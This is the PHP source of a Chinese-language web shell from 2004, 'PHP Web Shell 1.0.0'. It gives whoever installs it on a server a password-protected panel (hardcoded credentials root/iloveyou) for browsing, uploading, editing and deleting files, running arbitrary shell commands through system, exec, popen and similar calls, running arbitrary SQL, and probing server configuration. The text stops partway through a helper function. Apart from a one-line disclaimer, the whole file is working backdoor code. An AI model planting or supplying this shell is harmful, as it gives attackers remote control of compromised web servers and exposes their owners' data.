<?php
/*
+----------------------------------------+
| PHP Web Shell 1.0.0          |
| Version: 1.0              |
| Author: heiyeluren           |
| Email: [email]heiyeluren@163.com[/email]       |
| Enlist: mykey             |
| Email: [email]imykey@126.com[/email]         |
| Date: 2004-12-15            |
|请勿使用本程序进行非法活动,否则后果自负 |
+----------------------------------------+
说明: 本程序参考了安全天使小组的phpspy的部分页面风格和代码,
   同时参考了C1G写的PHP探针部分程序,对他们表示感谢!
*/
error_reporting(7);
session_start();
header("Content-Type: text/html; charset=gb2312");
$mtime = explode(" ", microtime());
$starttime = $mtime[1] + $mtime[0];
/*================= 配置选项 ===================*/
//登陆用户和密码,请修改为自己的用户名和密码
$manage["user"] = "root";
$manage["pass"] = "iloveyou";
/*================= 配置结束 ===================*/

/*================= 常量配置 ===================*/
//版本设定
$const["version"] = "v1.0.0";
$version = "v1.0.0";
/*================= 配置结束 ===================*/

?>
<html>
<head>
<title>PHP Web Shell <?=$const["version"]?></title>
<style>
A
{
TEXT-DECORATION: none;
}
A:hover
{
COLOR: #0099FF;
}
A:link {
color: #205064;
}
A:visited {
color: #006699;
}
BODY
{
FONT-FAMILY: 宋体;
FONT-SIZE: 9pt;
text-decoration: none;
line-height: 150%;
background-color: #FBFDFF;
}
TD
{
FONT-FAMILY:宋体;
FONT-SIZE: 9pt;
}
Input
{
FONT-SIZE: 9pt;
HEIGHT: 20px;
BORDER-RIGHT: #818181 1px solid; BORDER-TOP: #818181 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #818181 1px solid; COLOR: #000000; BORDER-BOTTOM: #818181 1px solid; FONT-FAMILY: "Arial", "???"; BACKGROUND-COLOR: #ffffff
}
Button
{
FONT-SIZE: 9pt;
HEIGHT: 20px;
}
Select
{
FONT-SIZE: 9pt;
HEIGHT: 20px;
}
.border
{
border: 1px solid #CCCCCC;
}
.border2
{
background:#fef8ed;
BORDER-RIGHT: #999999 1px solid;
BORDER-LEFT: #999999 1px solid
}
.title
{
background:#f6f6f6;
}
.input_basic {
BORDER-RIGHT: #818181 1px solid; BORDER-TOP: #818181 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #818181 1px solid; COLOR: #000000; BORDER-BOTTOM: #818181 1px solid; FONT-FAMILY: "Arial", "???"; BACKGROUND-COLOR: #ffffff
}.tb_1 {
border: 1px dashed #009933;
bordercolor:#dddddd;
margin: auto;
padding: 1px;
height: auto;
width: auto;
}
.style1 {color: #FF6633}
</style>
</head>
<?php
// 登陆验证
if ($_GET["action"] == "login")
{
if (isset($_POST["login_user"]) && isset($_POST["login_pass"]))
{
if ( ($_POST["login_user"] != $manage["user"]) || ($_POST["login_pass"] != $manage["pass"]) )
{
show_err_info("输入的用户名或者密码错误!");
exit();

}
else
{
$username = $_POST["login_user"];
$password = $_POST["login_pass"];
session_register("username");
session_register("password");

show_succ_info("登陆成功,跳到文件管理...");
print "<meta http-equiv=\"refresh\" content=\"3;URL=\"" .$_SERVER["SCRIPT_NAME"]. ">";
exit();
}
}
}
?>
<? // 判断是否登陆,如果登陆则进入程序 ?>
<?if(check_logined()){ show_header(); ?>
<?php
// 文件管理
// ==================== 文件管理开始 ==============================
if (!isset($_GET["action"]) || $_GET["action"]=="login")
{
// 下载文件
if (!empty($downfile)) {
if (!@file_exists($downfile)) {
echo "<script>alert("你要下的文件不存在!")</script>";
} else {
$filename = basename($downfile);
$filename_info = explode(".", $filename);
$fileext = $filename_info[count($filename_info)-1];
header("Content-type: application/x-".$fileext);
header("Content-Disposition: p_w_upload; filename=".$filename);
header("Content-Description: PHP3 Generated Data");
@readfile($downfile);
exit;
}
}
// 程序目录(文件系统)
$pathname=str_replace("\\","/",dirname(__FILE__));
// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET["dir"];
$nowpath = getPath($pathname, $dir);
}
echo "<p><b>\n";
// 删除文件
if(@$delfile!="")
{
if(file_exists($delfile))
{
@unlink($delfile);
echo "".$delfile." 删除成功!";
}
else
{
echo "文件已不存在,删除失败!";
}
}
// 删除目录
if($_POST["action"] == "rmdir")
{
if($deldir!="")
{
$deldirs="$dir/$deldir";
if(!file_exists("$deldirs"))
{
echo "目录已不存在!";
}
else
{
deltree($deldirs);
}
}
else
{
echo "删除失败!";
}
}
// 创建目录
if($_POST["action"] == "createdirectory") {
if(!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if(file_exists("$mkdirs")) {
echo "该目录已存在!";
} else {
echo $msg=@mkdir("$mkdirs",0777) ? "创建目录成功!" : "创建失败!";
@chmod("$mkdirs",0777);
}
}
}
// 上传文件
if($_POST["action"] == "uploadfile") {
echo $msg=@copy($_FILES["uploadmyfile"]["tmp_name"],"".$uploaddir."/".$_FILES["uploadmyfile"]["name"]."") ? "上传成功!" : "上传失败!";
}
// 编辑文件
if($_POST["action"] == "doeditfile") {
$filename="$dir/$editfilename";
@$fp=fopen("$filename","w");
echo $msg=@fwrite($fp,$_POST["filecontent"]) ? "写入文件成功!" : "写入失败!";
@fclose($fp);
}
// 编辑文件属性
if($_POST["action"] == "editfileperm") {
$fileperm=base_convert($_POST["fileperm"],8,10);
echo $msg=@chmod($dir."/".$file,$fileperm) ? "属性修改成功!" : "修改失败!";
echo " [".$file."] 修改后的属性为:".substr(base_convert(@fileperms($dir."/".$file),10,8),-4)."";
}

?>
<!-- // 显示新建立文件内容 -->
<br>
<table width="600" border="0" cellpadding="0">
 <tr> 
  <td><p>程序路径: <?=$pathname?><br>当前目录(<?=$dir_writeable?><?=substr(base_convert(@fileperms($nowpath),10,8),-4);?>): <?=$nowpath?>
  </td>
 </tr>
</table>
<table width="600" border="0" cellpadding="0" class="input_basic">
<form action="" method="GET">
 <tr> 
  <td>
    输入要跳转到的目录:
    <input name="dir" type="text" class="INPUT">
    <input type="submit" class="INPUT" value="跳转"> 〖支持绝对路径和相对路径〗
  </td>
 </tr>
</form>
<form action="?dir=<?=urlencode($dir)?>" method="POST" enctype="multipart/form-data">
 <tr>
  <td colspan="2">上传文件到当前目录:
   <input name="uploadmyfile" type="file" class="INPUT"> <input type="submit" class="INPUT" value="上传">
   <input name="action" type="hidden" value="uploadfile"><input type="hidden" name="uploaddir" value="<?=$dir?>"></td>
 </tr>
 </form>
 <form action="?action=editfile&dir=<?=urlencode($dir)?>" method="POST">
 <tr>
  <td colspan="2">新建文件在当前目录:
    <input name="newfile" type="text" class="INPUT" value="">
    <input type="submit" class="INPUT" value="新建文件">
    <input name="action" type="hidden" value="createfile"></td>
 </tr>
 </form>
 <form action="" method="POST">
 <tr>
  <td colspan="2">新建目录在当前目录:
    <input name="newdirectory" type="text" class="INPUT" value="">
    <input type="submit" class="INPUT" value="新建目录">
    <input name="action" type="hidden" value="createdirectory"></td>
 </tr>
 </form>
</table>
<br>
<!-- // 显示当前目录列表 -->
<table width="600" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff" class="input_basic">
 <tr bgcolor="#cccccc">
  <td align="center" nowrap width="40%"><b>文件名称</b></td>
  <td align="center" nowrap width="20%"><b>修改日期</b></td>
  <td align="center" nowrap width="12%"><b>大小</b></td>
  <td align="center" nowrap width="8%"><b>属性</b></td>
  <td align="center" nowrap width="20%"><b>操作</b></td>
 </tr>

<?php
// 目录列表
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$b="$dir/$file";
$a=@is_dir($b);
if($a=="1"){
if($file!=".."&&$file!=".") {
$lastsave=@date("Y-n-d H:i:s",filemtime("$dir/$file"));
$dirperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4);
echo "<tr class=\"input_basic\">\n";
echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
echo " <td align=\"center\" nowrap valign=\"top\">$lastsave</td>\n";
echo " <td align=\"center\" nowrap valign=\"top\">&lt;dir&gt;</td>\n";
echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";
echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=deldir&dir=".urlencode($dir)."&deldir=".urlencode($file)."\">删除</a></td>\n";
echo "</tr>\n";
} else {
if($file=="..") {
echo "<tr class=".getrowbg().">\n";
echo " <td nowrap colspan=\"5\" style=\"padding-left: 5px;\"><a href=\"?dir=".$dir."/".$file."\">返回上级目录</a></td>\n";
echo "</tr>\n";
}
}
$dir_i++;
}
}//while
@closedir($dirs);
// 文件列表
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$size=$size/1024 ;
$size= @number_format($size, 3);  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
@$fileperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4);
echo "<tr class=\"input_basic\">\n";
echo " <td style=\"padding-left: 5px;\"><a href=\"$dir/$file\" target=\"_blank\">$file</a></td>\n";
echo " <td align=\"center\" nowrap valign=\"top\">$lastsave</td>\n";
echo " <td align=\"center\" nowrap valign=\"top\">$size KB</td>\n";
echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?downfile=".urlencode($dir)."/".urlencode($file)."\">下载</a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\">编辑</a> | <a href=\"?dir=".urlencode($dir)."&delfile=".urlencode($dir)."/".urlencode($file)."\">删除</a></td>\n";
echo "</tr>\n";
$file_i++;
}
}
@closedir($dirs);
echo "<tr class=".getrowbg().">\n";
echo " <td nowrap colspan=\"5\" align=\"right\">".$dir_i." 个目录<br>".$file_i." 个文件</td>\n";
echo "</tr>\n";
?>
</table>
<?php
}// end dir
elseif ($_GET["action"] == "editfile") {
if($newfile=="") {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff" class="input_basic">
 <tr class="firstalt">
  <td align="center">新建/编辑文件 [<a href="?dir=<?=urlencode($dir)?>">返回</a>]</td>
 </tr>
 <form action="?dir=<?=urlencode($dir)?>" method="POST">
 <tr class="secondalt">
  <td align="center">当前文件:<input class="input" type="text" name="editfilename" size="30"
value="<?=$editfile?>"> 输入新文件名则建立新文件</td>
 </tr> 
 <tr class="firstalt">
  <td align="center"><textarea name="filecontent" cols="100" rows="20"><?=$contents?></textarea></td>
 </tr> 
 <tr class="secondalt">
  <td align="center"><input type="submit" value="确定写入" class="input">
   <input name="action" type="hidden" value="doeditfile">
   <input type="reset" value="重置" class="input"></td>
 </tr>
 </form>
</table>
<?php
}
elseif ($_GET["action"] == "deldir") {
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
 <form action="?dir=<?=urlencode($dir)?>" method="POST">
 <tr class="firstalt">
  <td align="center">删除 <input name="deldir" type="text" value="<?=$deldir?>" class="input" readonly> 目录</td>
 </tr> 
 <tr class="secondalt">
  <td align="center">注意:如果该目录非空,此次操作将会删除该目录下的所有文件.您确定吗?</td>
 </tr> 
 <tr class="firstalt">
  <td align="center">  
 <input name="action" type="hidden" value="rmdir">
 <input type="submit" value="确认删除" class="input">
</td>
 </tr> 
 </form>
</table>
<?php
}//end deldir
elseif ($_GET["action"] == "fileperm") {
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
 <tr class="firstalt">
  <td align="center">修改文件属性 [<a href="?dir=<?=urlencode($dir)?>">返回</a>]</td>
 </tr>
 <form action="?dir=<?=urlencode($dir)?>" method="POST">
 <tr class="secondalt">
  <td align="center"><input name="file" type="text" value="<?=$file?>" class="input" readonly> 的属性为:
   <input type="text" name="fileperm" size="20" value="http://blog.77169.com/<?=substr(base_convert(fileperms($dir."/".$file),10,8),-4)?>" class="input">
 <input name="dir" type="hidden" value="<?=urlencode($dir)?>">
 <input name="action" type="hidden" value="editfileperm">
 <input type="submit" value="修改" class="input"></td>
 </tr> 
 </form>
</table>
<?php
}//end fileperm
// ==================== 文件管理结束 ==============================
?>
<?
// 执行命令
// ==================== 执行命令开始 ==============================
if ($_GET["action"] == "execcmd")
{
print "
<form action="?action=execcmd&exe=1" method="post">
选择执行函数:<select name=exefun class=input_basic>
<option value="system">system( )</option>
<option value="passthru">passthru( )</option>
<option value="exec">exec( )</option>
<option value="shell_exec">shell_exec( )</option>
<option value="popen">popen( )</option>
<option value="``">( ` ` )</option>
</select>
&nbsp;&nbsp;输入命令:
<input type=text name=command size=50 class=input_basic>
<input type=submit value=执行 class=input_basic>
</form>
";
print "<TEXTAREA ROWS=25 COLS=110 class=input_basic>";
if ($exe=1 && !empty($_POST["command"]))
{
$exefun = $_POST["exefun"];
$cmd = $_POST["command"];
switch($exefun)
{
case "system":
system($cmd);
break;
case "passthru":
passthru($cmd);
break;
case "exec":
echo exec($cmd);
break;
case "shell_exec":
echo shell_exec($cmd);
break;
case "popen":
{
$pp = popen($cmd, "r");
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
break;
case "``":
echo `$cmd`;
break;
default:
system($cmd);
}
}
print "</TEXTAREA>";
}
// ==================== 执行命令结束 ==============================
?>
<?
// 执行SQL
// ==================== 执行SQL语句 ===============================
if ($_GET["action"] == "execsql")
{
if (isset($_GET["step"]) && $_GET["step"]==1)
{
if (!connect_db($_POST["dbhost"], $_POST["dbuser"], $_POST["dbpass"]))
{
print "连接数据库失败,错误信息: " .mysql_error();
}
else
{
mysql_select_db($_POST["database"]) or die("选定数据库错误,错误信息: " .mysql_error());
print "连接数据库成功,连接标识为: " .$link;
}
}
if (isset($_GET["step"]) && $_GET["step"]==2)
{
if (mysql_query($_POST["sql"]))
{
print "执行SQL语句成功!";
}
else
{
print $link;
print "执行SQL语句失败,错误信息:" .mysql_error();
}
}
?>
<br><br>
<form action="?action=execsql&step=1" method="post">
主机:<input type="text" size=14 name="dbhost" value="localhost" class="input_basic"> 
用户:<input type="text" size=8 name="dbuser" value="root" class="input_basic"> 
密码:<input type="text" size=8 name="dbpass" class="input_basic">  
数据库:<input type="text" size=8 name="database" value="mysql" class="input_basic">
<input type="submit" value="连接" class="input_basic">
</form>
<br>
<br>
<form action="?action=execsql&step=2" method="post">
执行SQL语句<br>
<TEXTAREA NAME="sql" ROWS="8" COLS="95" class=input_basic>SELECT * FROM </TEXTAREA>
<br><br>
<input type="submit" value="执行SQL" class=input_basic>
</form>

<?
}
// ==================== 执行SQL语句结束 ===========================
?>
<?
// 获取PHP环境变量
// ===================== 获取PHP环境变量开始 ======================
if ($_GET["action"] == "phpenv")
{
$adminmail=(isset($_SERVER["SERVER_ADMIN"]))? $_SERVER["SERVER_ADMIN"] : "没有";
$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";
$dis_func = get_cfg_var("disable_functions");
$phpinfo=(!eregi("phpinfo",$dis_func)) ? "支持" : "不支持";
$dis_func = get_cfg_var("disable_functions");
if ($dis_func == "") {
$dis_func = "没有";
}else {
$dis_func = str_replace(" ","<br>",$dis_func);
$dis_func = str_replace(",","<br>",$dis_func);
}
$info[0] = array("服务器时间",date("Y年m月d日 h:i:s",time()));
$info[1] = array("服务器域名","<a href=\"http://$_SERVER[SERVER_NAME]\" target=\"_blank\">$_SERVER[SERVER_NAME]</a>");
$info[2] = array("服务器IP地址",gethostbyname($_SERVER["SERVER_NAME"]));
$info[3] = array("服务器操作系统",PHP_OS);
$info[5] = array("服务器操作系统文字编码",$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
$info[6] = array("服务器解译引擎",$_SERVER["SERVER_SOFTWARE"]);
$info[7] = array("Web服务端口",$_SERVER["SERVER_PORT"]);
$info[8] = array("PHP运行方式",strtoupper(php_sapi_name()));
$info[9] = array("PHP版本",PHP_VERSION);
$info[10] = array("运行于安全模式",getphpcfg("safemode"));
$info[11] = array("服务器管理员",$adminmail);
$info[12] = array("本文件路径",__FILE__);

$info[13] = array("允许使用URL打开文件 allow_url_fopen",getphpcfg("allow_url_fopen"));
$info[14] = array("允许动态加载链接库 enable_dl",getphpcfg("enable_dl"));
$info[15] = array("显示错误信息 display_errors",getphpcfg("display_errors"));
$info[16] = array("自动定义全局变量 register_globals",getphpcfg("register_globals"));
$info[17] = array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc"));
$info[18] = array("程序最多允许使用内存量 memory_limit",getphpcfg("memory_limit"));
$info[19] = array("POST最大字节数 post_max_size",getphpcfg("post_max_size"));
$info[20] = array("允许最大上传文件 upload_max_filesize",$upsize);
$info[21] = array("程序最长运行时间 max_execution_time",getphpcfg("max_execution_time")."秒");
$info[22] = array("被禁用的函数 disable_functions",$dis_func);
$info[23] = array("PHP环境信息 phpinfo()",$phpinfo);
$info[24] = array("目前磁盘剩余空间 diskfreespace",intval(diskfreespace(".") / (1024 * 1024))."Mb");
$info[25] = array("图形处理 GD Library",getfun("p_w_picpathline"));
$info[26] = array("IMAP电子邮件系统",getfun("imap_close"));
$info[27] = array("MySQL数据库",getfun("mysql_close"));
$info[28] = array("SyBase数据库",getfun("sybase_close"));
$info[29] = array("Oracle数据库",getfun("ora_close"));
$info[30] = array("Oracle 8 数据库",getfun("OCILogOff"));
$info[31] = array("PREL相容语法 PCRE",getfun("preg_match"));
$info[32] = array("PDF文档支持",getfun("pdf_close"));
$info[33] = array("Postgre SQL数据库",getfun("pg_close"));
$info[34] = array("SNMP网络管理协议",getfun("snmpget"));
$info[35] = array("压缩文件支持(Zlib)",getfun("gzclose"));
$info[36] = array("XML解析",getfun("xml_set_object"));
$info[37] = array("FTP",getfun("ftp_login"));
$info[38] = array("ODBC数据库连接",getfun("odbc_close"));
$info[39] = array("Session支持",getfun("session_start"));
$info[40] = array("Socket支持",getfun("fsockopen"));
?>
<center>
<table width="600" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#ffffff" class="input_basic">

<?php
for($a=0;$a<3;$a++){
if($a == 0){
$hp = array("server","服务器特性");
}elseif($a == 1){
$hp = array("php","PHP基本特性");
}elseif($a == 2){
$hp = array("basic","组件支持状况");
}
?>
 <tr class="input_basic">
  <td style="padding-left: 5px;"><b><?=$hp[1]?></b></td>
 </tr>
 <tr class="inpub_basic">
  <td>
   <table width="100%" border="0" cellpadding="0" cellspacing="0">
<?
if($a == 0){
for($i=0;$i<=12;$i++){
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
}
}elseif($a == 1){
for($i=13;$i<=24;$i++){
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
}
}elseif($a == 2){
for($i=25;$i<=40;$i++){
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
}
}
?>
   </table>
  </td>
 </tr>
<?
}
echo "</table>";
}
// ===================== 获取PHP环境变量结束 ======================
?>
<?
// 显示phpinfo
if ($_GET["action"] == "phpinfo")
{
$dis_func = get_cfg_var("disable_functions");
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数没有开启,请查看&lt;PHP环境变量&gt;";
}
?>

<?
// 测试服务器性能
// ================== 测试服务器性能代码开始 ========================
if ($_GET["action"] == "test")
{
?>
<center>
<table width="60%" border="0" cellspacing="2" cellpadding="1" class="input_basic">
<?
// 性能测试对应代码
if ($test)
{
switch($test)
{
case "int":
$vint = int_test();
break;
case "float":
$vfloat = float_test();
break;
case "io":
$vio = io_test();
break;
}
}
for($j=0;$j<3;$j++){
if($j == 0) {
$do = "int";
if($vfloat) $otval = "<input type=\"hidden\" name=\"vfloat\" value=\"$vfloat\">\n";
if($vio) $otval .= "<input type=\"hidden\" name=\"vio\" value=\"$vio\">\n";
$show = $vint ? "重新测试" : "测试";
$pval = array("1.999秒","5.603秒","67.371秒","1.456秒",te_val($vint));
$phead = "整数运算能力测试(1+1运算300万次)";
}elseif($j == 1){
$do = "float";
$otval = "";
if($vint) $otval = "<input type=\"hidden\" name=\"vint\" value=\"$vint\">\n";
if($vio) $otval .= "<input type=\"hidden\" name=\"vio\" value=\"$vio\">\n";
$show = $vfloat ? "重新测试" : "测试";
$pval = array("2.04秒","2.618秒","29.44秒","1.291秒",te_val($vfloat));
$phead = "浮点运算能力测试(开平方300万次)";
}elseif($j == 2){
$do = "io";
$otval = "";
if($vfloat) $otval = "<input type=\"hidden\" name=\"vfloat\" value=\"$vfloat\">\n";
if($vint) $otval .= "<input type=\"hidden\" name=\"vint\" value=\"$vint\">\n";
$show = $vio ? "重新测试" : "测试";
$pval = array("0.082秒","0.128秒","0.332秒","0.092秒",te_val($vio));
$phead = "数据I/O能力测试(写入一个单词到文件1万次)";
}
?>
<tr class=myhead align="left">
<td colspan="2" ><b><?=$phead?></b></td>
</tr>
<tr class=mytr align="left">
<td width="70%" >heiyeluren的电脑(P1.8G+256M+WinXP)</td>
<td width="30%" ><?=$pval[0]?></td>
</tr>
<tr class=mytr align="left">
<td width="70%" >zanadoo.com(C1.3G+256M+Linux)(2003/03/15 17:58)</td>
<td width="30%" ><?=$pval[1]?></td>
</tr>
<tr class=mytr align="left">
<td >51.net虎翼网A型(598MHz+SCSI)(2003/03/15 17:28)</td>
<td ><?=$pval[2]?></td>
</tr>
<tr class=mytr align="left">
<form name="test<?=$j?>" method="post" action="<?=$PHP_SELF?>?action=test#power">
<td>您正在使用的这台服务器
<?=$otval?>
<input name="style" value="<?=$style?>" type="hidden">
<input type="hidden" name="test" value="<?=$do?>">
[<a href="javascript:test<?=$j?>.submit()"><?=$show?></a>]
</td>
<td ><?=$pval[4]?></td>
</form>
</tr>
<tr><td>&nbsp;&nbsp</td></tr>
<?}?>
</table>
</center>
<?
// ================== 测试服务器性能结束 ======================
}?>
<?php
// 注销登陆
if ($_GET["action"] == "logout")
{
session_destroy();
show_succ_info("注销成功, 返回到首页");
print "<meta http-equiv=\"refresh\" content=\"3;URL=\"" .$_SERVER["PHP_SELF"]. ">";
}

if ($_GET["action"] == "about")
{
?>
<center>
 <table width="580" height="395" border="0" class="input_basic">
  <tr>
   <td colspan="2"><div align="center" class="title"><strong>PHP Web Shell v1.0.0 说明文件</strong></div></td>
  </tr>
  <tr>
   <td width="482"><strong>一、程序说明:</strong></td>
   <td width="88">&nbsp;</td>
  </tr>
  <tr>
   <td>1.程序版本:V 1.0.0 </td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td><p>2.开发平台:WindowsXP professional + PHP 5.0.2 </p>
   </td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>3.运行平台:Win32/Linux/Unix/BSD + PHP4 以上等多种系统平台</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>&nbsp;</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td><strong>二、功能说明:</strong></td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td height="20"><p>1.文件编辑/修改/创建/删除</p>
    </td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>2.执行命令</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>3.执行SQL</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>4.查看系统信息</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>5.测试服务器性能</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>6.其他功能自己测试...</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td>&nbsp;</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td><strong>三、备注:</strong>
(使用本程序请保留以下信息)</td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td height="88"><div align="left"> 作者: heiyeluren<br>
 QQ: 37035600<br>
 邮箱: [email]heiyeluren@163.com[/email]<br>
 <br>
 测试: mykey<br>
 QQ: 7967877<br>
 邮箱: [email]imykey@126.com[/email]<br>
 <br>
 <br>
 开发时间: 2004-12-15</div></td>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <td height="22" colspan="2"><div align="center" class="style1">声明:请勿使用本程序进行非法用途,否则后果自负!</div></td>
  </tr>
<br>
 </table>
  </p>
</center>
<?
}
?>
<? // 如果没有登陆则显示登陆信息 ?>
<?}else{ show_login(); } show_foot();?>
<?php
/**************************** 函数定义 ******************************/
//========================
// 公共函数
//========================
// 显示登陆信息函数
function show_login()
{
print " <center>
<table>
<tr>
<td><br>
<b>PHP Web Shell v1.0.0 </b>
<form action=\"" .$_SERVER["PHP_SELF"]. "?action=login\" method=\"post\">
用户名: <input type="text" name="login_user" size="10" class=input_basic></input>
</td>
</tr>
<tr>
<td>
密&nbsp;&nbsp;码: <input type="password" name="login_pass" size="10" class=input_basic></input>
</td>
</tr>
<tr>
<td align=center>
<input type="submit" value="登陆" class=input_basic>
</td>
</tr>
</form>
</table>
</center>
";


}
// 显示文件头部信息函数
function show_header()
{
print "
<center>
<p>
<font size=3><b>PHP Web Shell v1.0.0</b></font>
<br>
<p>
<strong>
<a href=" .$_SERVER["PHP_SELF"]. " title=\"文件管理\">文件管理</a> |
<a href=\"?action=execcmd\" title=\"执行命令\">执行命令</a> |
<a href=\"?action=execsql\" title=\"执行SQL\">执行SQL</a> |
<a href=\"?action=phpenv\" title=\"PHP环境变量\">PHP环境变量</a> |
<a href=\"?action=phpinfo\" title=\"PHPINFO\">PHPINFO</a> |
<a href=\"?action=test\" title=\"服务器性能测试\">服务器性能</a> |
<a href=\"?action=logout\" title=\"注销登陆\">退出登陆</a> | 
<a href=\"?action=about\" title=\"关于本程序\">关于程序</a>
</strong>
</p>
 ";
}
// 文件底部信息提示函数
function show_foot()
{
print "<br><br><br>
<table width=\"530\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\" class=\"border\">
<tr><td class=title><br><center>PHP Web Shell v1.0.0</center></td></tr> 
<tr>
<td class=\"title\"><div align=\"center\"><font color=black>Code by:</font> <a href=\"mailto:heiyeluren@163.com\" title=\"对本程序有任何问题或者建议请发邮件给我,谢谢!\"><b>heiyeluren</b></a>&nbsp;&nbsp;&nbsp;<font color=black>Enlist by: </font><a href=mailto:imykey@126.com><b>mykey</b></a></div><br></td>

</tr>
</table>
 ";
}
// 显示错误信息函数
function show_err_info($msg, $msg2="返回上一页")
{
print "
<br><br>
<table cellpadding=2 cellspacing=1 border=0 width=400 class="border" align=center>
<tr align="center" class="title"><td height="22"><strong>错误信息</strong></td></tr>
<tr class="tdbg"><td height="100" valign="top"><br><br><li>". $msg ."</li></td></tr>
<tr align="center" class="tdbg"><td><a href="javascript:history.back()" title="返回">
&lt;&lt; ". $msg2 ."</a></td></tr>
</table>
";

}
// 显示成功信息提示函数
function show_succ_info($msg)
{
print "
<br><br>
<table width="335" height="58" align="center" cellpadding="0" cellspacing="0" class="tb_1">
<tr>
<td width="335" height="24" align=center><font color=#ff6666>成功信息</font></td>
</tr>
<tr>
<td height="34" align=center>". $msg ."</td>
</tr>
</table>
";

}

// 检查是否已经登陆函数
function check_logined()
{
if (!session_is_registered("username") || !session_is_registered("password"))
{
return false;
}
return true;
}

//======================
// 服务器性能测试函数
//======================
// 整型运算能力测试函数
function int_test()
{
$time_start=gettimeofday();
for($index=0;$index<=3000000;$index++);
{
$count=1+1;
}
$time_end=gettimeofday();
$time=($time_end["usec"]-$time_start["usec"])/1000000;
$time=$time+$time_end["sec"]-$time_start["sec"];
$time=round($time*1000)/1000;
return($time);
}
// 浮点型运算能力测试函数
function float_test()
{
$test=pi();
$time_start=gettimeofday();
for($index=0;$index<=3000000;$index++);
{
sqrt($test);
}
$time_end=gettimeofday();
$time=($time_end["usec"]-$time_start["usec"])/1000000;
$time=$time+$time_end["sec"]-$time_start["sec"];
$time=round($time*1000)/1000;
return($time);
}
// IO读写文件性能测试函数
function io_test()
{
global $PHP_SELF;
@$fp=fopen("test.txt", "a+");
$time_start=gettimeofday();
for($i=0;$i<10000;$i++)
{
fputs($fp,"test");
}
$time_end=gettimeofday();
@unlink("test.txt");
fclose($fp);
$time=($time_end["usec"]-$time_start["usec"])/1000000;
$time=$time+$time_end["sec"]-$time_start["sec"];
$time=round($time*1000)/1000;
return($time);
}
if ($test)
{
switch($test)
{
case "int":
$vint = int_test();
break;
case "float":
$vfloat = float_test();
break;
case "io":
$vio = io_test();
break;
}
}
// 测试值控制函数
function te_val($val)
{
if($val){
if($val == "0"){
$vale = "小于0.001秒";
}else{
$vale = $val."秒";
}
}else{
$vale = "未测试";
}
return $vale;
}

//======================
// PHP环境变量函数
//======================
// 检查PHP配置参数函数
function getphpcfg($varname)
{
switch($result = get_cfg_var($varname))
{
case 0:
return "不支持";
break;
case 1:
return "支持";
break;
default:
return $result;
break;
}
}
// 检查函数情况函数
function getfun($funName)
{
return (false !== function_exists($funName)) ? "支持" : "不支持";
}

//======================
// 执行SQL函数
//======================
// 连接数据库函数
function connect_db($dbhost, $dbuser, $dbpass)
{
global $link;
$link = mysql_connect($dbhost, $dbuser, $dbpass);
if ($link)
{
return $link;
}
return false;
}
// 执行SQL语句函数
function execute_sql($db, $sql)
{
global $result;
$result = mysql_db_query($db, $sql);
if ($result)
{
return $result;
}
return false;
}

//====================
// 文件处理函数库
//====================
// 获取当前的文件系统路径
function getPath($mainpath, $relativepath)
{
global $dir;
$mainpath_info      = explode("/", $mainpath);
